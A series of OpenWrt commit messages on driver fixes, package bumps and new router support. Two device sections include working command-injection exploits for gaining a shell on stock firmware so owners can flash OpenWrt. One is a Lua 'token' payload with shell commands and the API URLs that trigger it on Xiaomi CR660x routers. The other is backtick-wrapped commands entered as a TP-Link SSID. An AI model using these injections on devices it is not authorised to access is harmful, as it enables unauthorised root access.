It's reported that current memory detection code occasionally detects
larger memory under some bootloaders.
Current memory detection code tests whether address space wraps around
on KSEG0, which is unreliable because it's cached.
Rewrite memory size detection to perform the same test on KSEG1 instead.
While at it, this patch also does the following two things:
1. use a fixed pattern instead of a random function pointer as the magic
value.
2. add an additional memory write and a second comparison as part of the
test to prevent possible smaller memory detection result due to
leftover values in memory.
Fixes: 6d91ddf517 ("ramips: mt7621: add support for memory detection")
Reported-by: Rui Salvaterra <rsalvaterra@gmail.com>
Tested-by: Rui Salvaterra <rsalvaterra@gmail.com>
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
'uxc boot' is inteded to be called multiple times, so there is not need
to guard the first call on boot -- the actual code anyway didn't do
that, so just remove it.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The issue of EAP frames sent to group address (or the wrong address) has been
addressed in mac80211, so this hack is no longer needed
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This caches flows between MAC addresses on separate ports, including their VLAN
in order to bypass the normal bridge forwarding code.
In my test on MT7622, this reduces LAN->WLAN bridging CPU usage by 6-10%,
potentially even more on weaker platforms
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This fixes the following security problem:
The command-line argument parser in tcpdump before 4.99.0 has a buffer
overflow in tcpdump.c:read_infile(). To trigger this vulnerability the
attacker needs to create a 4GB file on the local filesystem and to
specify the file name as the value of the -F command-line argument of
tcpdump.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
53caa1a fw4: resolve zone layer 2 devices for hw flow offloading
9fe58f5 fw4: rework and fix family inheritance logic
8795296 tests: mocklib: fix infinite recursion in wrapped print()
281b1bc tests: change mocked wan interface type to PPPoE
93b710d tests: mocklib: forward compatibility change
1a94915 fw4: only stage reflection rules if all required addrs are known
5c21714 fw4: add device iifname/oifname matches to DSCP and MARK rules
3eacc97 tests: adjust 01_ruleset test case to latest changes
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
a29bad9 compiler: fix patchlist corruption on switch statement syntax errors
86f0662 lib: change `ord()` to always return single byte value
116a8ce vallist: fix storing/retrieving short strings with 8bit byte value
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Had to update generic defconfig (make kernel_menuconfig CONFIG_TARGET=generic)
for this bump, but since that only modifies the target defined in .config,
and since that target also needed to be updated for unrelated reasons, manually
propagated the newly added symbol to the generic config.
Removed upstreamed:
pending-5.10/860-Revert-ASoC-mediatek-Check-for-error-clk-pointer.patch[1]
All other patches automatically rebased.
1. https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=v5.10.99&id=080f371d984e8039c66db87f3c54804b0d172329
Build system: x86_64
Build-tested: bcm2711/RPi4B, mt7622/RT3200
Run-tested: bcm2711/RPi4B, mt7622/RT3200
Signed-off-by: John Audia <graysky@archlinux.us>
The locations of MAC addresses in mtd for LAN/WAN on ELECOM WRC-2533GS2
are changed from the other WRC-GS/GST devices with 2x PCIe. So move the
related configurations in mt7621_elecom_wrc-gs-2pci.dtsi to dts of each
model.
- WRC-1750GS
- WRC-1750GSV
- WRC-1750GST2
- WRC-1900GST
- WRC-2533GST
- WRC-2533GST2
-> LAN: 0xE000, WAN: 0xE006
- WRC-2533GS2
-> LAN: 0xFFF4, WAN: 0xFFFA
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Reported MAC addresses:
| interface | MAC address | source | comment
|-----------|-------------------|----------------|---------
| LAN | 90:xx:xx:18:xx:1F | | [1]
| WAN | 90:xx:xx:18:xx:1D | |
| WLAN 2G | 92:xx:xx:48:xx:1C | |
| WLAN 5G | 90:xx:xx:18:xx:1C | factory 0x4 |
| | 90:xx:xx:18:xx:1C | config ethaddr |
[1] Used in this patch as WLAN 2G MAC address with the local bit set
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
ipTIME AX2004M is an 802.11ax (Wi-Fi 6) router, based on MediaTek
MT7621A.
Specifications:
* SoC: MT7621A
* RAM: 256 MiB
* Flash: NAND 128 MiB
* Wi-Fi:
* MT7915D: 2.4/5 GHz (DBDC)
* Ethernet: 5x 1GbE
* Switch: SoC built-in
* USB: 1x 3.0
* UART: J4 (115200 baud)
* Pinout: [3V3] (TXD) (RXD) (GND)
MAC addresses:
| interface | MAC address | source | comment
|-----------|-------------------|----------------|---------
| LAN | 58:xx:xx:00:xx:9B | | [1]
| WAN | 58:xx:xx:00:xx:99 | |
| WLAN 2G | 58:xx:xx:00:xx:98 | factory 0x4 |
| WLAN 5G | 5A:xx:xx:40:xx:98 | |
| | 58:xx:xx:00:xx:98 | config ethaddr |
[1] Used in this patch as WLAN 5G MAC address with the local bit set
Load addresses:
* stock
* 0x80010000: FIT image
* 0x81001000: kernel image -> entry
* OpenWrt
* 0x80010000: FIT image
* 0x82000000: uncompressed kernel+relocate image
* 0x80001000: relocated kernel image -> entry
Notes:
* This device has a dual-boot partition scheme, but this firmware works
only on boot partition 1. The stock web interface will flash only on the
inactive boot partition, but the recovery web page will always flash on
boot partition 1.
Installation via recovery mode:
1. Press reset button, power up the device, wait >10s for CPU LED
to stop blinking.
2. Upload recovery image through the recovery web page at 192.168.0.1.
Revert to stock firmware:
1. Install stock image via recovery mode.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Makes sure that Ninja from staging_dir is used and nowhere else.
Reported by reproducible builds project. Builds have been failing ever
since tools/cmake started using Ninja.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Turns out the MT7531 switch IRQ line is connected to GPIO#53 just like
on the BPi-R64, so this seems to be part of the reference design and
will probably apply to most MT7622+MT7531 boards.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Now that we support link-state-change interrupts, wire up MT7531 IRQ
line which is connected to GPIO#53 according to the schematics [1].
As a result, PHY state no longer needs to be polled on that board.
[1]: https://forum.banana-pi.org/t/bpi-r64-mt7622-schematic-diagram-public/10118
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Support MT7530 PHY link change interrupts, and enable for MT7621.
For external MT7530, a GPIO IRQ line is required, which is
board-specific, so it should be added to each DTS. In case the
interrupt-controller property is missing, it will fall back to
polling mode.
Signed-off-by: DENG Qingfang <dqfext@gmail.com>
Add support for MediaTek Gigabit Ethernet PHYs found in MT7530 and
MT7531. Fix some link up/down issues.
The errornous check for the PHY mode which broke things with MT7531
has been removed as suggested by patch
net: phy: mediatek: remove PHY mode check on MT7531
As a result, things are working fine now on MT7622+MT7531 as well.
Signed-off-by: DENG Qingfang <dqfext@gmail.com>
Tested-by: Daniel Golle <daniel@makrotopia.org>
Tested-by: Arınç ÜNAL <arinc.unal@arinc9.com>
Tested-by: Stijn Tintel <stijn@linux-ipv6.be>
The kernel configuration allows us to select a default qdisc. Let's do this for
5.10 (as 5.4 is on its way out) and get rid of the hacky patch we've been
carrying.
Acked-by: Jo-Philipp Wich <jo@mein.io>
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
Commit f4a79148f8 ("ramips: add support for ipTIME AX2004M") was
reverted due to KERNEL_LOADADDR leakage, and it seems the problem can be
mitigated by moving the variable definition into Device/Default. By this,
KERNEL_LOADADDR redefined in a device recipe will not be leaked into the
subsequent device recipes anymore and thus will remain as a per-device
variable.
Ref: cd6a6e3030 ("Revert "ramips: add support for ipTIME AX2004M"")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Increase the available flash memory size in Netgear R7800
by repurposing the unused "netgear" partition that is
located after the firmware partition.
Available flash space for kernel+rootfs+overlay increases
by 68 MB from 32 MB to 100 MB.
In a typical build, overlay space increases from 15 to 85,
increasing the package installation possibilities greatly.
Reverting to the OEM firmware is still possible, as the OEM
firmware contains logic to initialise the "netgear" partition
if its contents do not match expectations. In OEM firmware,
"netgear" contains 6 UBI sub-partitions that are defined in
/etc/netgear.cfg and initialisation is done by /etc/preinit
This is based on fb8a578aa7
Signed-off-by: Mike Lothian <mike@fireburn.co.uk>
When the uci configuration is created automatically during a very early
stage, where no entropy daemon is set up, generating the key directly is
not an option. Therefore we allow to set the private_key to "generate"
and generate the private key directly before the interface is taken up.
Signed-off-by: Leonardo Mörlein <me@irrelefant.net>
Tested-by: Jan-Niklas Burfeind <git@aiyionpri.me>
11adf0c source: convert source objects into proper uc_value_t type
3a49192 treewide: rework function memory model
7edad5c tests: add functional tests for builtin functions
d5003fd lib: fix leaking tokener in uc_json() on parse exception
5d0ecd9 lib: fix infinite loop on empty regexp matches in uc_replace()
3ad57f1 lib: fix infinite loop on empty regexp matches in uc_match()
32d596d lib: fix infinite loop on empty regexp matches in uc_split()
3e3f38d vm: ensure consistent trace output between gcc and clang compiled ucode
3600ded vm: fix leaking function value on call exception
3059295 vm: NULL-initialize pointer to make cppcheck happy
98e59bf source: zero-initialize conversion union to make cppcheck happy
7a65c14 run_tests.sh: change workdir to testcase directory during execution
afec8d7 run_tests.sh: support placing supplemental testcase files
3ada6e0 run_tests.sh: always treat outputs as text data
2cb627f program: rename bytecode load/write functions, track path of executed file
1094ffa lib: fix memory leak in uc_require_ucode()
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Xiaomi Mi Router CR6606 is a Wi-Fi6 AX1800 Router with 4 GbE Ports.
Alongside the general model, it has three carrier customized models:
CR6606 (China Unicom), CR6608 (China Mobile), CR6609 (China Telecom)
Specifications:
- SoC: MediaTek MT7621AT
- RAM: 256MB DDR3 (ESMT M15T2G16128A)
- Flash: 128MB NAND (ESMT F59L1G81MB)
- Ethernet: 1000Base-T x4 (MT7530 SoC)
- WLAN: 2x2 2.4GHz 574Mbps + 2x2 5GHz 1201Mbps (MT7905DAN + MT7975DN)
- LEDs: System (Blue, Yellow), Internet (Blue, Yellow)
- Buttons: Reset, WPS
- UART: through-hole on PCB ([VCC 3.3v](RX)(GND)(TX) 115200, 8n1)
- Power: 12VDC, 1A
Jailbreak Notes:
1. Get shell access.
1.1. Get yourself a wireless router that runs OpenWrt already.
1.2. On the OpenWrt router:
1.2.1. Access its console.
1.2.2. Create and edit
/usr/lib/lua/luci/controller/admin/xqsystem.lua
with the following code (exclude backquotes and line no.):
```
1 module("luci.controller.admin.xqsystem", package.seeall)
2
3 function index()
4 local page = node("api")
5 page.target = firstchild()
6 page.title = ("")
7 page.order = 100
8 page.index = true
9 page = node("api","xqsystem")
10 page.target = firstchild()
11 page.title = ("")
12 page.order = 100
13 page.index = true
14 entry({"api", "xqsystem", "token"}, call("getToken"), (""),
103, 0x08)
15 end
16
17 local LuciHttp = require("luci.http")
18
19 function getToken()
20 local result = {}
21 result["code"] = 0
22 result["token"] = "; nvram set ssh_en=1; nvram commit; sed -i
's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/drop
bear start;"
23 LuciHttp.write_json(result)
24 end
```
1.2.3. Browse http://{OWRT_ADDR}/cgi-bin/luci/api/xqsystem/token
It should give you a respond like this:
{"code":0,"token":"; nvram set ssh_en=1; nvram commit; ..."}
If so, continue; Otherwise, check the file, reboot the rout-
er, try again.
1.2.4. Set wireless network interface's IP to 169.254.31.1, turn
off DHCP of wireless interface's zone.
1.2.5. Connect to the router wirelessly, manually set your access
device's IP to 169.254.31.3, make sure
http://169.254.31.1/cgi-bin/luci/api/xqsystem/token
still have a similar result as 1.2.3 shows.
1.3. On the Xiaomi CR660x:
1.3.1. Login to the web interface. Your would be directed to a
page with URL like this:
http://{ROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/web/home#r-
outer
1.3.2. Browse this URL with {STOK} from 1.3.1, {WIFI_NAME}
{PASSWORD} be your OpenWrt router's SSID and password:
http://{MIROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/api/misy-
stem/extendwifi_connect?ssid={WIFI_NAME}&password={PASSWO-
RD}
It should return 0.
1.3.3. Browse this URL with {STOK} from 1.3.1:
http://{MIROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/api/xqsy-
stem/oneclick_get_remote_token?username=xxx&password=xxx&-
nonce=xxx
1.4. Before rebooting, you can now access your CR660x via SSH.
For CR6606, you can calculate your root password by this project:
https://github.com/wfjsw/xiaoqiang-root-password, or at
https://www.oxygen7.cn/miwifi.
The root password for carrier-specific models should be the admi-
nistration password or the default login password on the label.
It is also feasible to change the root password at the same time
by modifying the script from step 1.2.2.
You can treat OpenWrt Router however you like from this point as
long as you don't mind go through this again if you have to expl-
oit it again. If you do have to and left your OpenWrt router unt-
ouched, start from 1.3.
2. There's no official binary firmware available, and if you lose the
content of your flash, no one except Xiaomi can help you.
Dump these partitions in case you need them:
"Bootloader" "Nvram" "Bdata" "crash" "crash_log"
"firmware" "firmware1" "overlay" "obr"
Find the corespond block device from /proc/mtd
Read from read-only block device to avoid misoperation.
It's recommended to use /tmp/syslogbackup/ as destination, since files
would be available at http://{ROUTER_ADDR}/backup/log/YOUR_DUMP
Keep an eye on memory usage though.
3. Since UART access is locked ootb, you should get UART access by modify
uboot env. Otherwise, your router may become bricked.
Excute these in stock firmware shell:
a. nvram set boot_wait=on
b. nvram set bootdelay=3
c. nvram commit
Or in OpenWrt:
a. opkg update && opkg install kmod-mtd-rw
b. insmod mtd-rw i_want_a_brick=1
c. fw_setenv boot_wait on
d. fw_setenv bootdelay 3
e. rmmod mtd-rw
Migrate to OpenWrt:
1. Transfer squashfs-firmware.bin to the router.
2. nvram set flag_try_sys1_failed=0
3. nvram set flag_try_sys2_failed=1
4. nvram commit
5. mtd -r write /path/to/image/squashfs-firmware.bin firmware
Additional Info:
1. CR660x series routers has a different nand layout compared to other
Xiaomi nand devices.
2. This router has a relatively fresh uboot (2018.09) compared to other
Xiaomi devices, and it is capable of booting fit image firmware.
Unfortunately, no successful attempt of booting OpenWrt fit image
were made so far. The cause is still yet to be known. For now, we use
legacy image instead.
Signed-off-by: Raymond Wang <infiwang@pm.me>
The MikroTik LHG 5 series (product codes RBLHG-5nD, RBLHG-5HPnD and
RBLHG-5HPnD-XL) devices are an outdoor 5GHz CPE with a 24.5dBi or 27dBi
integrated antenna built around the Atheros AR9344 SoC.
It is very similar to the SXT Lite5 series which this patch is based
upon.
Specifications:
- SoC: Atheros AR9344
- RAM: 64 MB
- Storage: 16 MB SPI NOR
- Wireless: Atheros AR9340 (SoC) 802.11a/n 2x2:2
- Ethernet: Atheros AR8229 switch (SoC), 1x 10/100 port,
8-32 Vdc PoE in
- 8 user-controllable LEDs:
- 1x power (blue)
- 1x user (white)
- 1x ethernet (green)
- 5x rssi (green)
See https://mikrotik.com/product/RBLHG-5nD for more details.
Notes:
The device was already supported in the ar71xx target.
Flashing:
TFTP boot initramfs image and then perform a sysupgrade. Follow common
MikroTik procedure as in https://openwrt.org/toh/mikrotik/common.
Signed-off-by: Jakob Riepler <jakob+openwrt@chaosfield.at>
Hardware
--------
SoC: QCN5502
Flash: 16 MiB
RAM: 128 MiB
Ethernet: 1 gigabit port
Wireless No1: QCN5502 on-chip 2.4GHz 4x4
Wireless No2: QCA9984 pcie 5GHz 4x4
USB: none
Installation
------------
Flash the factory image using the stock web interface or TFTP the
factory image to the bootloader.
What works
----------
- LEDs
- Ethernet port
- 5GHz wifi (QCA9984 pcie)
What doesn't work
-----------------
- 2.4GHz wifi (QCN5502 on-chip)
(I was not able to make this work, probably because ath9k requires
some changes to support QCN5502.)
Signed-off-by: Wenli Looi <wlooi@ucalgary.ca>
Based on wikidevi, QCN5502 is a "Dragonfly" like QCA9561 and QCA9563.
Treating it as QCA956x seems to work.
Signed-off-by: Wenli Looi <wlooi@ucalgary.ca>
Specifications:
- AR9344 SoC, 8 MB nor flash, 64 MB DDR2 RAM
- 2x2 9dBi antenna, wifi 2.4Ghz 300Mbps
- 4x Ethernet LAN 10/100, 1x Ethernet WAN 10/100
- 1x WAN, 4x LAN, Wifi, PWR, WPS, SYSTEM Leds
- Reset/WPS button
- Serial UART at J4 onboard: 3.3v GND RX TX, 1152008N1
MAC addresses as verified by OEM firmware:
vendor OpenWrt address
LAN eth0 label
WAN eth1 label + 1
WLAN phy0 label
The label MAC address was found in u-boot 0x1fc00.
Installation:
To install openwrt,
- set the device's SSID to each of the following lines,
making sure to include the backticks.
- set the ssid and click save between each line.
`echo "httpd -k"> /tmp/s`
`echo "sleep 10">> /tmp/s`
`echo "httpd -r&">> /tmp/s`
`echo "sleep 10">> /tmp/s`
`echo "httpd -k">> /tmp/s`
`echo "sleep 10">> /tmp/s`
`echo "httpd -f">> /tmp/s`
`sh /tmp/s`
- Now, wait 60 sec.
- After the reboot sequence, the router may have fallen back to
its default IP address with the default credentials (admin:admin).
- Log in to the web interface and go the the firmware upload page.
Select "openwrt-ath79-generic-tplink_tl-wr841hp-v2-squashfs-factory.bin"
and you're done : the system now accepts the openwrt.
Forum support topic:
https://forum.openwrt.org/t/support-for-tplink-tl-wr841hp-v2/69445/
Signed-off-by: Saiful Islam <si87868@gmail.com>
Switched to building with meson as it's faster and does not need a
dependency on cmake, which takes a long time to build.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
When using a non default MESON_HOST_BUILD_DIR, HOST_BUILD_DIR is not
appropriate to use. This change matches the target configure section.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
fgrep is deprecated and replaced by grep -F. The latter is used
throughout the tree whereas this is the only usage of the former.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
